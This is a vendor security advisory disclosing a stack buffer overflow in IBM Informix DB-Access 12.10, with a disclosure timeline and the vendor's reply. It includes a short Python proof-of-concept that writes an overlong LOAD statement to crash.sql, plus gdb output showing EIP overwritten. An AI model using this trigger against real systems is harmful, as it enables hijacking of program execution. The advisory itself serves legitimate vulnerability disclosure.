DefenseCode

IBM Informix DB-Access Buffer Overflow

IBM Informix DB-Access Buffer Overflow	
Advisory ID:	**DC-2017-04-001**
Software:	**IBM Informix**
Version:	**12.10**
Vendor Status:	**Contacted / Not Fixed**
Release Date:	**11.07.2017**
Risk:	**High**

1. General Overview

IBM Informix DB-Access utility is vulnerable to a stack based buffer overflow, caused by improper bounds checking which could allow an attacker to execute arbitrary code. The vulnerability is triggered by providing an overly long file parameter value inside a LOAD statement, which is used to insert data from an operating-system file into an existing table or view.

2. Software Overview

Informix is one of the world's most widely used database servers with users ranging from the world's largest corporations to start-ups. IBM Informix incorporates design concepts that are significantly different from traditional relational platforms, resulting in extremely high levels of performance and availability, distinctive capabilities in data replication and scalability, and minimal administrative overhead.

The DB-Access utility is included with the Informix server and with the Informix Client Software Development Kit. DB-Access provides a menu-driven interface for entering, running, and debugging SQL statements and Stored Procedure Language routines. DB-Access can also be ran interactively from the command line.

3. Brief Vulnerability Description

By providing a specially crafted command file to the DB-Access command line utility it is possible to cause a buffer overflow, overwriting the instruction pointer (EIP) and thus hijack the execution flow of the program. Crafted file contains a LOAD statement with an overly long file parameter that will overwrite EIP.

3.1 Proof of Concept

The following python script will generate a proof of concept .sql crash test file that can be used to verify the vulnerability:

```
#!/usr/bin/python

load_overflow = 'A' * 5000
```

```
statement = "LOAD FROM '" + load_overflow + "
test' INSERT INTO example;"

crash_file = open("crash.sql", "w")
crash_file.write(statement)
crash_file.close()
```

PoC usage: ***dbaccess <name of existing database> crash.sql***

Registers state following the overflow:

```
(gdb) i r
eax            0xffffffff -1
ecx            0xb7bf4d00 -1212199680
edx            0x0  0
ebx            0x41414141 1094795585
esp            0xbfffce40 0xbfffce40
ebp            0x41414141 0x41414141
esi            0x41414141 1094795585
edi            0x41414141 1094795585
eip            0x41414141 0x41414141
```

PoC tested on: Informix Innovator-C Edition for Linux x86 32

4. Solution

The vulnerability has not been addressed by vendor in a 90 days period following the submission. Vendor has expressed an intention of fixing the vulnerability in a future update.

5. Credits

Vulnerability discovered by Leon Juranic, further analysis by Bosko Stankovic.

6. Disclosure Timeline

04/04/2017	**Vendor contacted**
04/12/2017	**Vulnerability assessed and acknowledged by vendor**
05/17/2017	**Upon completed analysis, vendor stated that: *"We thank you for finding a bug in the Informix dbaccess program. We agree that this is a bug, and will be fixing it in our next update. However, because dbaccess is an auxillary program and this buffer overflow does not impact the Informix Server, we will not be issuing a Security Bulletin. The buffer overflow occurs in parsing the erroneous input, not in any interaction with the Informix server. We agree that buffer overflows are a defect and should be addressed. "***
07/11/2017	**Advisory published by DefenseCode**

7. About DefenseCode

DefenseCode L.L.C. delivers products and services designed to analyze and test web, desktop and mobile applications for security vulnerabilities.

DefenseCode ThunderScan is a SAST (Static Application Security Testing, WhiteBox Testing) solution for performing extensive security audits of application source code. ThunderScan performs fast and accurate analyses of large and complex source code projects delivering precise results and low false positive rate.

DefenseCode WebScanner is a DAST (Dynamic Application Security Testing, BlackBox Testing) solution for comprehensive security audits of active web applications. WebScanner will test a website's security by carrying out a large number of attacks using the most advanced techniques, just as a real attacker would.

Subscribe for free software trial on our website http://www.defensecode.com

E-mail: defensecode[at]defensecode.com

Website: http://www.defensecode.com
Twitter: https://twitter.com/DefenseCode/